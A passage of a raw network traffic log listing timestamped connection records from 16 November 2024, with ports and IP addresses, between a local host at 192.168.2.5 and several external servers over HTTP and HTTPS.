Nov 16, 2024 13:01:39.452415943 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.452429056 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.452435017 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.452449083 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.452452898 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.452461004 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.452466965 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.452472925 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.452486038 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.452487946 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.452496052 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.452507019 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.452508926 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.452519894 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.452529907 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.452539921 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.452548981 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.452548981 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.452549934 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.452564001 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.452574968 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.452575922 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.452586889 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.452595949 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.452620029 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.452620029 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.452657938 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.458750963 CET	443	49874	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:39.458928108 CET	443	49874	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:39.459233999 CET	49874	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:39.459233999 CET	49874	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:39.459233999 CET	49874	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:39.462368011 CET	49900	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:39.462418079 CET	443	49900	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:39.462507963 CET	49900	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:39.462694883 CET	49900	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:39.462707996 CET	443	49900	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:39.484357119 CET	443	49887	4.153.29.52	192.168.2.5
Nov 16, 2024 13:01:39.484833956 CET	49887	443	192.168.2.5	4.153.29.52
Nov 16, 2024 13:01:39.484846115 CET	443	49887	4.153.29.52	192.168.2.5
Nov 16, 2024 13:01:39.485555887 CET	443	49887	4.153.29.52	192.168.2.5
Nov 16, 2024 13:01:39.485950947 CET	49887	443	192.168.2.5	4.153.29.52
Nov 16, 2024 13:01:39.486064911 CET	443	49887	4.153.29.52	192.168.2.5
Nov 16, 2024 13:01:39.486089945 CET	49887	443	192.168.2.5	4.153.29.52
Nov 16, 2024 13:01:39.486089945 CET	49887	443	192.168.2.5	4.153.29.52
Nov 16, 2024 13:01:39.486129045 CET	443	49887	4.153.29.52	192.168.2.5
Nov 16, 2024 13:01:39.499346018 CET	443	49877	23.47.50.150	192.168.2.5
Nov 16, 2024 13:01:39.499375105 CET	443	49877	23.47.50.150	192.168.2.5
Nov 16, 2024 13:01:39.499385118 CET	443	49877	23.47.50.150	192.168.2.5
Nov 16, 2024 13:01:39.499403000 CET	443	49877	23.47.50.150	192.168.2.5
Nov 16, 2024 13:01:39.499412060 CET	443	49877	23.47.50.150	192.168.2.5
Nov 16, 2024 13:01:39.499419928 CET	443	49877	23.47.50.150	192.168.2.5
Nov 16, 2024 13:01:39.499453068 CET	49877	443	192.168.2.5	23.47.50.150
Nov 16, 2024 13:01:39.499465942 CET	443	49877	23.47.50.150	192.168.2.5
Nov 16, 2024 13:01:39.499486923 CET	49877	443	192.168.2.5	23.47.50.150
Nov 16, 2024 13:01:39.499509096 CET	49877	443	192.168.2.5	23.47.50.150
Nov 16, 2024 13:01:39.500809908 CET	443	49886	4.153.29.52	192.168.2.5
Nov 16, 2024 13:01:39.501003027 CET	49886	443	192.168.2.5	4.153.29.52
Nov 16, 2024 13:01:39.501028061 CET	443	49886	4.153.29.52	192.168.2.5
Nov 16, 2024 13:01:39.501370907 CET	443	49877	23.47.50.150	192.168.2.5
Nov 16, 2024 13:01:39.501380920 CET	443	49877	23.47.50.150	192.168.2.5
Nov 16, 2024 13:01:39.501391888 CET	443	49886	4.153.29.52	192.168.2.5
Nov 16, 2024 13:01:39.501441956 CET	49877	443	192.168.2.5	23.47.50.150
Nov 16, 2024 13:01:39.501447916 CET	443	49877	23.47.50.150	192.168.2.5
Nov 16, 2024 13:01:39.501483917 CET	49886	443	192.168.2.5	4.153.29.52
Nov 16, 2024 13:01:39.501488924 CET	443	49877	23.47.50.150	192.168.2.5
Nov 16, 2024 13:01:39.501513958 CET	49877	443	192.168.2.5	23.47.50.150
Nov 16, 2024 13:01:39.501535892 CET	49877	443	192.168.2.5	23.47.50.150
Nov 16, 2024 13:01:39.502101898 CET	443	49886	4.153.29.52	192.168.2.5
Nov 16, 2024 13:01:39.502154112 CET	49886	443	192.168.2.5	4.153.29.52
Nov 16, 2024 13:01:39.503637075 CET	49886	443	192.168.2.5	4.153.29.52
Nov 16, 2024 13:01:39.503701925 CET	443	49886	4.153.29.52	192.168.2.5
Nov 16, 2024 13:01:39.516171932 CET	443	49882	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:39.516230106 CET	443	49882	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:39.516510010 CET	49882	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:39.516510010 CET	49882	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:39.516594887 CET	49882	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:39.516609907 CET	443	49882	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:39.521171093 CET	443	49883	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:39.521255016 CET	443	49883	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:39.521612883 CET	49883	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:39.522994041 CET	49901	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:39.523076057 CET	443	49901	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:39.523159981 CET	49901	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:39.523461103 CET	49883	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:39.523482084 CET	443	49883	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:39.524812937 CET	49901	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:39.524847031 CET	443	49901	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:39.524997950 CET	443	49875	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:39.525146008 CET	443	49875	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:39.525206089 CET	49875	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:39.525244951 CET	49875	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:39.525244951 CET	49875	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:39.525260925 CET	443	49875	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:39.525275946 CET	443	49875	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:39.526427031 CET	49902	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:39.526439905 CET	443	49902	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:39.526572943 CET	49902	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:39.526725054 CET	49902	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:39.526737928 CET	443	49902	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:39.528790951 CET	49903	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:39.528815031 CET	443	49903	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:39.529072046 CET	49903	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:39.529225111 CET	49903	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:39.529239893 CET	443	49903	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:39.538746119 CET	443	49884	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:39.538906097 CET	443	49884	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:39.539047003 CET	49884	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:39.539087057 CET	49884	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:39.539102077 CET	443	49884	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:39.539117098 CET	49884	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:39.539122105 CET	443	49884	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:39.542057037 CET	49904	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:39.542093992 CET	443	49904	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:39.542141914 CET	49904	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:39.542264938 CET	49904	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:39.542283058 CET	443	49904	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:39.543869972 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.543921947 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.543931961 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.543942928 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.543965101 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.543965101 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.543965101 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.543975115 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.544027090 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.544027090 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.544265032 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.544365883 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.544446945 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.544464111 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.544480085 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.544497013 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.544507027 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.544522047 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.544522047 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.544523001 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.544538021 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.544548988 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.544559002 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.544568062 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.544579029 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.544583082 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.544583082 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.544589043 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.544605017 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.544611931 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.544611931 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.544615984 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.544632912 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.544642925 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.544652939 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.544653893 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.544652939 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.544662952 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.544675112 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.544686079 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.544698000 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.544698000 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.544698000 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.544709921 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.544715881 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.544718981 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.544739008 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.544748068 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.544754982 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.544776917 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.544787884 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.544790983 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.544790983 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.544796944 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.544809103 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.544821978 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.544830084 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.544830084 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.544833899 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.544850111 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.544862032 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.544872046 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.544867039 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.544883966 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.544893980 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.544903040 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.544903040 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.544914961 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.544929028 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.544939995 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.544941902 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.544941902 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.544950962 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.544961929 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.544964075 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.544979095 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.544995070 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.545003891 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.545012951 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.545020103 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.545020103 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.545042038 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.545051098 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.545053959 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.545053959 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.545061111 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.545077085 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.545082092 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.545088053 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.545098066 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.545119047 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.545119047 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.545139074 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.547907114 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.547925949 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.547935009 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.547983885 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.547983885 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.548031092 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.548042059 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.548051119 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.548078060 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.548079967 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.548089027 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.548089981 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.548111916 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.548132896 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.548132896 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.548155069 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.548157930 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.548163891 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.548173904 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.548185110 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.548192978 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.548209906 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.548212051 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.548212051 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.548222065 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.548233032 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.548270941 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.548271894 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.548296928 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.548325062 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.548336983 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.548362970 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.548362970 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.548363924 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.548374891 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.548398018 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.548398018 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.548441887 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.548450947 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.548451900 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.548465967 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.548475981 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.548487902 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.548491955 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.548491955 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.548532009 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.548538923 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.548589945 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.548599005 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.548609018 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.548619986 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.548650026 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.548659086 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.548672915 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.548711061 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.548711061 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.548744917 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.548758984 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.548763990 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.548791885 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.548806906 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.548814058 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.548824072 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.548835993 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.548854113 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.548854113 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.548908949 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.572956085 CET	443	49869	52.168.117.170	192.168.2.5
Nov 16, 2024 13:01:39.573628902 CET	49869	443	192.168.2.5	52.168.117.170
Nov 16, 2024 13:01:39.573676109 CET	443	49869	52.168.117.170	192.168.2.5
Nov 16, 2024 13:01:39.573733091 CET	49869	443	192.168.2.5	52.168.117.170
Nov 16, 2024 13:01:39.599594116 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.604458094 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.604969978 CET	443	49888	13.107.246.57	192.168.2.5
Nov 16, 2024 13:01:39.605700970 CET	49888	443	192.168.2.5	13.107.246.57
Nov 16, 2024 13:01:39.605768919 CET	443	49888	13.107.246.57	192.168.2.5
Nov 16, 2024 13:01:39.606933117 CET	443	49888	13.107.246.57	192.168.2.5
Nov 16, 2024 13:01:39.607744932 CET	49888	443	192.168.2.5	13.107.246.57
Nov 16, 2024 13:01:39.607934952 CET	443	49888	13.107.246.57	192.168.2.5
Nov 16, 2024 13:01:39.607979059 CET	49888	443	192.168.2.5	13.107.246.57
Nov 16, 2024 13:01:39.615997076 CET	443	49877	23.47.50.150	192.168.2.5
Nov 16, 2024 13:01:39.616024971 CET	443	49877	23.47.50.150	192.168.2.5
Nov 16, 2024 13:01:39.616086006 CET	49877	443	192.168.2.5	23.47.50.150
Nov 16, 2024 13:01:39.616095066 CET	443	49877	23.47.50.150	192.168.2.5
Nov 16, 2024 13:01:39.616138935 CET	49877	443	192.168.2.5	23.47.50.150
Nov 16, 2024 13:01:39.617191076 CET	443	49877	23.47.50.150	192.168.2.5
Nov 16, 2024 13:01:39.617223978 CET	443	49877	23.47.50.150	192.168.2.5
Nov 16, 2024 13:01:39.617269039 CET	49877	443	192.168.2.5	23.47.50.150
Nov 16, 2024 13:01:39.617275953 CET	443	49877	23.47.50.150	192.168.2.5
Nov 16, 2024 13:01:39.617300987 CET	49877	443	192.168.2.5	23.47.50.150
Nov 16, 2024 13:01:39.617320061 CET	49877	443	192.168.2.5	23.47.50.150
Nov 16, 2024 13:01:39.618086100 CET	443	49877	23.47.50.150	192.168.2.5
Nov 16, 2024 13:01:39.618160963 CET	49877	443	192.168.2.5	23.47.50.150
Nov 16, 2024 13:01:39.623620033 CET	49887	443	192.168.2.5	4.153.29.52
Nov 16, 2024 13:01:39.634850979 CET	443	49889	108.156.211.19	192.168.2.5
Nov 16, 2024 13:01:39.635134935 CET	49889	443	192.168.2.5	108.156.211.19
Nov 16, 2024 13:01:39.635143042 CET	443	49889	108.156.211.19	192.168.2.5
Nov 16, 2024 13:01:39.636257887 CET	443	49889	108.156.211.19	192.168.2.5
Nov 16, 2024 13:01:39.636547089 CET	49889	443	192.168.2.5	108.156.211.19
Nov 16, 2024 13:01:39.636687040 CET	49889	443	192.168.2.5	108.156.211.19
Nov 16, 2024 13:01:39.636692047 CET	443	49889	108.156.211.19	192.168.2.5
Nov 16, 2024 13:01:39.636727095 CET	443	49889	108.156.211.19	192.168.2.5
Nov 16, 2024 13:01:39.655262947 CET	443	49887	4.153.29.52	192.168.2.5
Nov 16, 2024 13:01:39.655335903 CET	443	49888	13.107.246.57	192.168.2.5
Nov 16, 2024 13:01:39.657310009 CET	443	49877	23.47.50.150	192.168.2.5
Nov 16, 2024 13:01:39.657337904 CET	443	49877	23.47.50.150	192.168.2.5
Nov 16, 2024 13:01:39.657377005 CET	49877	443	192.168.2.5	23.47.50.150
Nov 16, 2024 13:01:39.657383919 CET	443	49877	23.47.50.150	192.168.2.5
Nov 16, 2024 13:01:39.657422066 CET	49877	443	192.168.2.5	23.47.50.150
Nov 16, 2024 13:01:39.684729099 CET	49886	443	192.168.2.5	4.153.29.52
Nov 16, 2024 13:01:39.684729099 CET	49888	443	192.168.2.5	13.107.246.57
Nov 16, 2024 13:01:39.684798002 CET	443	49886	4.153.29.52	192.168.2.5
Nov 16, 2024 13:01:39.690552950 CET	443	49887	4.153.29.52	192.168.2.5
Nov 16, 2024 13:01:39.690615892 CET	49887	443	192.168.2.5	4.153.29.52
Nov 16, 2024 13:01:39.690792084 CET	49887	443	192.168.2.5	4.153.29.52
Nov 16, 2024 13:01:39.690820932 CET	443	49887	4.153.29.52	192.168.2.5
Nov 16, 2024 13:01:39.726876020 CET	443	49877	23.47.50.150	192.168.2.5
Nov 16, 2024 13:01:39.726957083 CET	49877	443	192.168.2.5	23.47.50.150
Nov 16, 2024 13:01:39.726963997 CET	443	49877	23.47.50.150	192.168.2.5
Nov 16, 2024 13:01:39.726979017 CET	443	49877	23.47.50.150	192.168.2.5
Nov 16, 2024 13:01:39.727021933 CET	49877	443	192.168.2.5	23.47.50.150
Nov 16, 2024 13:01:39.727252960 CET	49877	443	192.168.2.5	23.47.50.150
Nov 16, 2024 13:01:39.727257967 CET	443	49877	23.47.50.150	192.168.2.5
Nov 16, 2024 13:01:39.733352900 CET	49889	443	192.168.2.5	108.156.211.19
Nov 16, 2024 13:01:39.737129927 CET	443	49888	13.107.246.57	192.168.2.5
Nov 16, 2024 13:01:39.737188101 CET	443	49888	13.107.246.57	192.168.2.5
Nov 16, 2024 13:01:39.737250090 CET	49888	443	192.168.2.5	13.107.246.57
Nov 16, 2024 13:01:39.737318039 CET	443	49888	13.107.246.57	192.168.2.5
Nov 16, 2024 13:01:39.737359047 CET	443	49888	13.107.246.57	192.168.2.5
Nov 16, 2024 13:01:39.737411022 CET	49888	443	192.168.2.5	13.107.246.57
